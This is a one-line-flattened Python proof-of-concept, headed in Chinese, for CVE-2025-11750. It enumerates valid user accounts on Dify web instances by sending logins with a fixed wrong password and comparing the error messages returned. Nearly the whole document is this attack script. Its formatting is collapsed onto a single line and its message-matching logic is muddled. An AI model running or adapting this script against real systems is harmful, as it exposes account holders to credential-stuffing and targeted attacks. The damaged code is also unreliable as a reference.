CVE-2025-11750：Dify Web用户枚举漏洞

#!/usr/bin/env python3 # CVE-2025-11750 - Dify Web User Enumeration PoC # This script demonstrates how to enumerate valid user accounts # by analyzing different error messages returned by the authentication endpoint. import requests import sys TARGET_URL = "https://target-dify-instance.com/console/api/login" USERNAME_LIST = ["admin", "test", "user1", "[email protected]"] def check_account_enumeration(target_url, username): """ Send a login request and analyze the response to determine if the account exists based on error message differences. """ payload = { "email": username, "password": "InvalidPassword123!@#" } try: response = requests.post(target_url, json=payload, timeout=10) response_data = response.json() # Analyze response message to determine account existence error_message = str(response_data).lower() if "account not found" in error_message or "user not found" in error_message or "邮箱或密码错误" in error_message: # Non-existent account indicator if "not found" in error_message and "password" not in error_message: return False, "Account does not exist" if "incorrect password" in error_message or "密码错误" in error_message or "invalid password" in error_message: # Existing account with wrong password return True, "Account EXISTS (wrong password response)" # Fallback: check status code and message content if response.status_code == 401 or response.status_code == 403: return None, f"Auth failed: {response_data}" return None, f"Unknown response: {response_data}" except Exception as e: return None, f"Request error: {str(e)}" def main(): print(f"[*] CVE-2025-11750 - Dify Web User Enumeration PoC") print(f"[*] Target: {TARGET_URL}") print(f"[*] Testing {len(USERNAME_LIST)} usernames...\n") valid_accounts = [] for username in USERNAME_LIST: exists, message = check_account_enumeration(TARGET_URL, username) status = "[+] EXISTS" if exists else "[-] NOT FOUND" if exists is False else "[?] UNKNOWN" print(f"{status} | {username} | {message}") if exists: valid_accounts.append(username) print(f"\n[*] Enumeration complete. Found {len(valid_accounts)} valid account(s).") for acc in valid_accounts: print(f" -> {acc}") if __name__ == "__main__": main()